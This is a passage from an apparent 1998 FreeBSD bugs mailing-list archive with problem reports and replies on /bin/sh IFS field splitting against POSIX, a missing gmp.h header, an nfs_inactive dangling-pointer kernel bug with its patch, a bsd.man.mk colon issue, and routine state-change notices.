as an implementation extension to achieve the single-shell grouping for a target or group of targets. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 12:13:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA04035 for freebsd-bugs-outgoing; Tue, 12 May 1998 12:13:34 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA04019 for ; Tue, 12 May 1998 12:13:31 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA26269; Tue, 12 May 1998 12:10:00 -0700 (PDT) Date: Tue, 12 May 1998 12:10:00 -0700 (PDT) Message-Id: <199805121910.MAA26269@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods@planix.com (Greg A. Woods)) Subject: Re: bin/6550 Reply-To: woods@zeus.leitch.com (Greg A. Woods@planix.com (Greg A. Woods)) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6550; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods@planix.com (Greg A. Woods)) To: freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/6550 Date: Tue, 12 May 1998 15:06:49 -0400 (EDT) [ On Mon, May 11, 1998 at 04:00:03 (-0700), Wolfram Schneider wrote: ] > Subject: Re: bin/6550 > > The current algorithm is > > if (no_meta_characters(command)) > exec(command) > else > /bin/sh -c "command" > > where it should be > > if (no_meta_characters(command) && no_shell_builtin(command)) > exec(command) > else > /bin/sh -c "command" Given the POSIX.2 Draft and the OpenGroup XPG specifications, this would better be expressed as: if (no_meta_characters(command) && no_POSIX_shell_builtins(command)) exec(command) else system(command) -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 12:53:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA12101 for freebsd-bugs-outgoing; Tue, 12 May 1998 12:53:34 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA12096 for ; Tue, 12 May 1998 12:53:31 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA26446; Tue, 12 May 1998 12:50:00 -0700 (PDT) Date: Tue, 12 May 1998 12:50:00 -0700 (PDT) Message-Id: <199805121950.MAA26446@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6557: /bin/sh && IFS Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: FreeBSD-gnats-submit@freebsd.org Cc: Subject: Re: bin/6557: /bin/sh && IFS Date: Tue, 12 May 1998 15:51:52 -0400 (EDT) > #!/bin/sh > XXX=/1:/2:/3: > IFS=: > echo /0:$XXX > > The expected result should be: "/0 /1 /2 /3" > However, with current /bin/sh it's: "/0:/1 /2 /3" Oddly enough this same problem exists in PD KSH v5.2.13 97/10/27. This problem does not exist in any SysV derived Bourne shell, including the SunOS-{4,5} ones, nor in any Korn shell that I tried. I'm fairly sure POSIX.2 requires the SysV behaviour (though I haven't bothered to check). -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 13:13:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA15467 for freebsd-bugs-outgoing; Tue, 12 May 1998 13:13:39 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA15454 for ; Tue, 12 May 1998 13:13:35 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA26561; Tue, 12 May 1998 13:10:04 -0700 (PDT) Date: Tue, 12 May 1998 13:10:04 -0700 (PDT) Message-Id: <199805122010.NAA26561@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6557: /bin/sh && IFS Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: Martin Cracauer Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/6557: /bin/sh && IFS Date: Tue, 12 May 1998 16:07:30 -0400 (EDT) [ On Tue, May 12, 1998 at 08:20:01 (-0700), Martin Cracauer wrote: ] > Subject: Re: bin/6557: /bin/sh && IFS > > However, it is my current opinion that my fix and bash are > wrong. Hence I didn't commit it although you are invited to see if it > fits your needs, it's in the url given above. It would seem Bash agrees with the real Korn Shell and the real Bourne Shell. I agree with them too. > I still don't have a POSIX reference, but I've been told that POSIX > specifies that word splitting is to be done during evaluation, not > during parsing. I think it's obvious that IFS split is part of word > splitting. This is the relavent section from POSIX 1003.2 Draft 11.2: (the Open Group's "Single UNIX Specification" says essentially the same things too...) Copyright c 1991 IEEE. All rights reserved. This is an unapproved IEEE Standards Draft, subject to change. Part 2: SHELL AND UTILITIES P1003.2/D11.2 . . . 3.6.5 Field Splitting After parameter expansion (3.6.2), command substitution (3.6.3), and arithmetic expansion (3.6.4) the shell shall scan the results of expansions and substitutions that did not occur in double-quotes for field splitting and multiple fields can result. The shell shall treat each character of the IFS as a delimiter and use the delimiters to split the results of parameter expansion and command substitution into fields. (1) If the value of IFS is , , and , or if it is unset, any sequence of , , or characters at the beginning or end of the input shall be ignored and any sequence of those characters within the input shall delimit a field. (For example, the input foobar yields two fields, foo and bar). (2) If the value of IFS is null, no field splitting shall be performed. (3) Otherwise, the following rules shall be applied in sequence. 1 The term ``IFS white space'' is used to mean any sequence (zero 1 or more instances) of white-space characters that are in the IFS 1 value (e.g., if IFS contains , any sequence 1 of and characters is considered IFS white space). 1 (a) IFS white space shall be ignored at the beginning and end 1 of the input. 1 (b) Each occurrence in the input of an IFS character that is 1 not IFS white space, along with any adjacent IFS white 1 space, shall delimit a field, as described previously. 1 (c) Nonzero-length IFS white space shall delimit a field. 1 BEGIN_RATIONALE 3.6.5.1 Field Splitting Rationale. (This subclause is not a part of P1003.2) The operation of field splitting using IFS as described in earlier drafts was based on the way the KornShell splits words, but is incompatible with other common versions of the shell. However, each has merit, and so a decision was made to allow both. If the IFS variable is unset, or is , the operation is equivalent to the way the System V shell splits words. Using characters outside the set yields the KornShell behavior, where each of the non- characters is significant. This behavior, which affords the most flexibility, was taken from the way the original awk handled field splitting. The (3) rule can be summarized as a pseudo ERE: 1 (s*ns*|s+) 1 where s is an IFS white-space character and n is a character in the IFS 1 that is not white space. Any string matching that ERE delimits a field, 1 except that the s+ form does not delimit fields at the beginning or the 1 end of a line. For example, if IFS is , the string 1 red,whiteblue 1 yields the three colors as the delimited fields. 1 END_RATIONALE -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 14:13:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25443 for freebsd-bugs-outgoing; Tue, 12 May 1998 14:13:35 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25432 for ; Tue, 12 May 1998 14:13:32 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA26797; Tue, 12 May 1998 14:10:01 -0700 (PDT) Received: from piano.synapse.net (piano.synapse.net [199.84.54.22]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA24707 for ; Tue, 12 May 1998 14:09:38 -0700 (PDT) (envelope-from evanc@synapse.net) Received: (qmail 23960 invoked by uid 100); 12 May 1998 21:09:36 -0000 Message-Id: <19980512210936.23959.qmail@piano.synapse.net> Date: 12 May 1998 21:09:36 -0000 From: evanc@synapse.net Reply-To: evanc@synapse.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6609: gmp.h not installed Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6609 >Category: bin >Synopsis: gmp.h not installed >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 14:10:00 PDT 1998 >Last-Modified: >Originator: Evan Champion >Organization: >Release: FreeBSD 2.2.6-STABLE i386 >Environment: >Description: gmp.h does not get installed as part of make -DCLOBBER includes (possibly not installed period). This causes grief in building ssh. libgmp.a is installed just fine. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 14:53:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA02565 for freebsd-bugs-outgoing; Tue, 12 May 1998 14:53:35 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA02556 for ; Tue, 12 May 1998 14:53:33 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA26863; Tue, 12 May 1998 14:50:02 -0700 (PDT) Date: Tue, 12 May 1998 14:50:02 -0700 (PDT) Message-Id: <199805122150.OAA26863@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6557: /bin/sh && IFS Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: Tor Egge Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/6557: /bin/sh && IFS Date: Tue, 12 May 1998 17:45:45 -0400 (EDT) [ On Tue, May 12, 1998 at 11:50:00 (-0700), Tor Egge wrote: ] > Subject: Re: bin/6557: /bin/sh && IFS > > According to "X/Open Commands and Utilities Issue 4, Version 2" > Section 2.6 "Word Expansion", field splitting is performed on the > portions of the fields generated by tilde expansion, parameter > expansion, command substitution and arithmetic expansion. That is much clearer language than in the POSIX 1003.2 draft. In the posix language one could infer that the entire command line is the "result of expanding I whould also note that the Korn shell I tested on SunOS-5 is "Version 11/16/88i". However I don't think the XPG 4.2 wording makes any sense at all, nor do I agree that the behaviour of the current shell is "correct". Such field splitting is essentially useless since it requires silly work arounds that add unnecessary code, as revealed by the bugs it causes with GNU Autoconf generated scripts. It is possible that there's something I'm missing here and that the current behaviour actually fills some imporant niche, but I don't see it just now. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 17:23:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA04384 for freebsd-bugs-outgoing; Tue, 12 May 1998 17:23:35 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA04373 for ; Tue, 12 May 1998 17:23:33 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA28544; Tue, 12 May 1998 17:20:00 -0700 (PDT) Received: from marker.cs.utah.edu (marker.cs.utah.edu [155.99.212.61]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA03581 for ; Tue, 12 May 1998 17:19:24 -0700 (PDT) (envelope-from sclawson@marker.cs.utah.edu) Received: (from sclawson@localhost) by marker.cs.utah.edu (8.8.8/8.8.5) id SAA16560; Tue, 12 May 1998 18:19:25 -0600 (MDT) Message-Id: <199805130019.SAA16560@marker.cs.utah.edu> Date: Tue, 12 May 1998 18:19:25 -0600 (MDT) From: stephen clawson Reply-To: sclawson@marker.cs.utah.edu To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6611: nfs_inactive can write through a dangling pointer and corrupt memory. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6611 >Category: kern >Synopsis: nfs_inactive can write through a dangling pointer and corrupt memory. >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 17:20:00 PDT 1998 >Last-Modified: >Originator: stephen clawson >Organization: University of Utah, CSL >Release: FreeBSD 2.2.6-BETA i386 >Environment: FreeBSD marker.cs.utah.edu 2.2.6-BETA FreeBSD 2.2.6-BETA #4: Tue May 12 14:23:58 MDT 1998 sclawson@marker.cs.utah.edu:/usr/src/sys/compile/MARKER i386 >Description: On an nfs unlink, if there's a sillyrename to deal with, nfs_inactive can block while holding a copy of the vnode's v_data pointer (which points to it's nfsnode struct) because of it's calls to nfs_vinvalbuf and nfs_removeit. However, the vnode was already put on the head of the free list (assuming VAGE is set) by vrele before it called VOP_INACTIVE on the vnode. Since it's also unlocked, the next call to getnewvode after nfs_inactive blocks will grab this vnode off the free list and call vgone on it, leading to a VOP_RECLAIM, which frees the nfsnode struct associated with the vnode. If ffs_vget is called next, when it malloc's it's inode struct it will get the newly free'd nfsnode, since in-core inodes and nfsnodes are both 256 bytes and thus come from the same bucket. The inode will then be initialized by the ffs/ufs code. When control finally returns to nfs_inactive, it's pointer is now pointing to an inode struct. Before returning, last thing nfs_inactive does is clear some flag bits. It turns out that n_flag in an nfsnode coincides with the upper half of di_db[5] in an inode struct. This can cause bits to be cleared in the 6th direct block pointer, possibly making it point to either unallocated space, or (more destructively) into another file. If the corrupted direct block pointer points to unallocated space, you'll get a ``freeing free block'' panic when an attempt is made to remove it. In the case that it points to an already allocated block, you end up freeing another file's block, which will later cause a ``freeing free block'' panic when the second file is removed. The pattern of damage is such that the upper short of the 6th direct block pointer gets anded with 0x00e7 (~0xff18). >How-To-Repeat: My standard workload included: cvs checkout cycle (from an nfs mounted cvs root tree) large build (gdb-4.17) create/remove lots (100-1000) of 64k+ files (so they've actually got a 6th block pointer). These are done both on a local filesystem and an nfs mounted filesystem, so there are a total of 6 things going on. All of them just keep cycling (cvs checkout/rm, make/make clean, etc.). Usually it takes about 20-30 minutes for the problem to show up. What makes detecting it difficult is that there's nothing that directly breaks when the corruption occurs. You only notice it if you happen to remove a corrupt file and get a ``freeing free block'' panic, or you reboot and happen to fsck the filesystem with the problem (in which case fsc will tell you about the DUP allocation, assuming that the corrupt direct block is pointing into an allocated block and not free space). To notice when the corruption was occuring, I added code to the kernel to shadow the di_db[5] into di_spare[0] and periodically checked to see if di_db[5] had changed. >Fix: The simple fix is to grab an extra reference to the vnode if there's a possiblilty that we might block. It's pretty heavy-handed, since it vget dosen't just remove the vnode from the free list, it also allocates a vm_object for it that will just get destroyed when we do a vrele on it later. =( Alternately, the nfs code could actually do locking on it's nfsnode's, but since that code still isn't done in -current... =) Or, you could muck with the vnode freelist directly. Anything that prevents the nfsnode from being free'd before nfs_inactive is done with it. NetBSD incorporated the same fix (apparently given to them from BSDI) a while ago. They only grab a reference for the call to nfs_vinvalbuf though, in the case of -stable, nfs_removeit can also block, so I just grab the reference for the entire sillyrename code section. See NetBSD-current (1.3.1 should have it) sys/nfs/nfs_node.c:nfs_inactive. diff -c -r1.13.2.1 nfs_node.c *** nfs_node.c 1997/05/14 08:19:27 1.13.2.1 --- nfs_node.c 1998/05/11 17:59:21 *************** *** 202,207 **** --- 202,215 ---- } else sp = (struct sillyrename *)0; if (sp) { + /* + * We need a reference to keep the vnode from being + * recycled by getnewvnode while we do the I/O + * associated with discarding the buffers. + */ + if (vget(ap->a_vp, 0)) + panic("nfs_inactive: lost vnode"); + /* * Remove the silly file that was rename'd earlier */ *************** *** 210,215 **** --- 218,228 ---- crfree(sp->s_cred); vrele(sp->s_dvp); FREE((caddr_t)sp, M_NFSREQ); + + /* XXX Play it safe and release our reference + * after we're done. + */ + vrele(ap->a_vp); } np->n_flag &= (NMODIFIED | NFLUSHINPROG | NFLUSHWANT | NQNFSEVICTED | NQNFSNONCACHE | NQNFSWRITE); >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 19:53:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA25893 for freebsd-bugs-outgoing; Tue, 12 May 1998 19:53:36 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA25882 for ; Tue, 12 May 1998 19:53:33 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA29102; Tue, 12 May 1998 19:50:00 -0700 (PDT) Received: from istari.home.net (cc158233-a.catv1.md.home.com [24.3.25.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA25328 for ; Tue, 12 May 1998 19:45:16 -0700 (PDT) (envelope-from sjr@home.net) Received: (from sjr@localhost) by istari.home.net (8.8.8/8.8.6) id WAA29069; Tue, 12 May 1998 22:44:47 -0400 (EDT) Message-Id: <199805130244.WAA29069@istari.home.net> Date: Tue, 12 May 1998 22:44:47 -0400 (EDT) From: sjr@home.net Reply-To: sjr@home.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/6612: bsd.man.mk can't handle man pages with ":"s Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6612 >Category: misc >Synopsis: bsd.man.mk can't handle man pages with ":"s >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 19:50:00 PDT 1998 >Last-Modified: >Originator: Stephen J. Roznowski >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: $Id: bsd.man.mk,v 1.26 1997/11/09 15:03:14 wosch Exp $ but I believe that: $Id: bsd.man.mk,v 1.27 1998/04/27 15:08:07 bde Exp $ suffers from the same problem. >Description: bsd.man.mk can't handle man pages with ":"s, since it uses the ":T:S" constructs to extract elements. >How-To-Repeat: % touch Net::servent.3 % cat Makefile MAN3+= Net::servent.3 .include % make make: don't know how to make Net::servent.3.gz. Stop >Fix: I'm not sure of a fix, but I'll mention that bsd.port.mk uses a different construct for installing man pages and doesn't suffer from this problem. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 23:21:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA20644 for freebsd-bugs-outgoing; Tue, 12 May 1998 23:21:50 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA20636; Tue, 12 May 1998 23:21:35 -0700 (PDT) (envelope-from peter@FreeBSD.org) From: Peter Wemm Received: (from peter@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA00643; Tue, 12 May 1998 23:18:01 -0700 (PDT) Date: Tue, 12 May 1998 23:18:01 -0700 (PDT) Message-Id: <199805130618.XAA00643@freefall.freebsd.org> To: sclawson@marker.cs.utah.edu, peter@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: kern/6611 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: nfs_inactive can write through a dangling pointer and corrupt memory. State-Changed-From-To: open-closed State-Changed-By: peter State-Changed-When: Tue May 12 23:15:38 PDT 1998 State-Changed-Why: Suggested fix applied, rev 1.25 and 1.13.2.2. Will be revisited in -current when nfsnode accounting is cleaned up^H^H^H^H^Himplemeted. Responsible-Changed-From-To: freebsd-bugs->peter Responsible-Changed-By: peter Responsible-Changed-When: Tue May 12 23:15:38 PDT 1998 Responsible-Changed-Why: I'll look after it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 00:31:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA00174 for freebsd-bugs-outgoing; Wed, 13 May 1998 00:31:13 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA00149; Wed, 13 May 1998 00:30:57 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id AAA01467; Wed, 13 May 1998 00:27:22 -0700 (PDT) Date: Wed, 13 May 1998 00:27:22 -0700 (PDT) Message-Id: <199805130727.AAA01467@freefall.freebsd.org> To: marquard@zilker.net, phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6605 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: sio.c lacks an entry for Motorola ModemSurfer 56K for PnP State-Changed-From-To: open-closed State-Changed-By: phk State-Changed-When: Wed May 13 00:27:04 PDT 1998 State-Changed-Why: committed to -current, thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 00:36:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA01215 for freebsd-bugs-outgoing; Wed, 13 May 1998 00:36:21 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA01008; Wed, 13 May 1998 00:35:40 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id AAA01721; Wed, 13 May 1998 00:32:04 -0700 (PDT) Date: Wed, 13 May 1998 00:32:04 -0700 (PDT) Message-Id: <199805130732.AAA01721@freefall.freebsd.org> To: phk@FreeBSD.ORG, gnats-admin@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pending/6595 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Old IP address persistent after change Responsible-Changed-From-To: gnats-admin->freebsd-bugs@freebsd.org Responsible-Changed-By: phk Responsible-Changed-When: Wed May 13 00:30:15 PDT 1998 Responsible-Changed-Why: misfiled To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 01:14:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA08291 for freebsd-bugs-outgoing; Wed, 13 May 1998 01:14:25 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA08259; Wed, 13 May 1998 01:14:20 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA02928; Wed, 13 May 1998 01:10:45 -0700 (PDT) Date: Wed, 13 May 1998 01:10:45 -0700 (PDT) Message-Id: <199805130810.BAA02928@freefall.freebsd.org> To: josh@quick.net, phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/6600 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: gettytab: FreeBSD -> %s/%m State-Changed-From-To: open-closed State-Changed-By: phk State-Changed-When: Wed May 13 01:10:24 PDT 1998 State-Changed-Why: committed, thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 01:16:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA08801 for freebsd-bugs-outgoing; Wed, 13 May 1998 01:16:20 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA08756; Wed, 13 May 1998 01:16:10 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA03001; Wed, 13 May 1998 01:12:36 -0700 (PDT) Date: Wed, 13 May 1998 01:12:36 -0700 (PDT) Message-Id: <199805130812.BAA03001@freefall.freebsd.org> To: phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, ports@FreeBSD.ORG Subject: Re: misc/6606 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: package add of perl-5.00404 fails w/3.0 SNAPs Responsible-Changed-From-To: freebsd-bugs->ports Responsible-Changed-By: phk Responsible-Changed-When: Wed May 13 01:10:58 PDT 1998 Responsible-Changed-Why: ports issue To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 01:18:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09476 for freebsd-bugs-outgoing; Wed, 13 May 1998 01:18:51 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09462; Wed, 13 May 1998 01:18:37 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA03072; Wed, 13 May 1998 01:15:02 -0700 (PDT) Date: Wed, 13 May 1998 01:15:02 -0700 (PDT) Message-Id: <199805130815.BAA03072@freefall.freebsd.org> To: ah@alvman.RoBIN.de, phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6575 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: eisa0:1 (adaptec 2842) .... attach failed State-Changed-From-To: open-feedback State-Changed-By: phk State-Changed-When: Wed May 13 01:14:09 PDT 1998 State-Changed-Why: Uhm, it looks pretty well attached to me, and if it can't mount root, it would be nice to know what it complains about To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 01:20:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09861 for freebsd-bugs-outgoing; Wed, 13 May 1998 01:20:59 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09812; Wed, 13 May 1998 01:20:47 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA03141; Wed, 13 May 1998 01:17:13 -0700 (PDT) Date: Wed, 13 May 1998 01:17:13 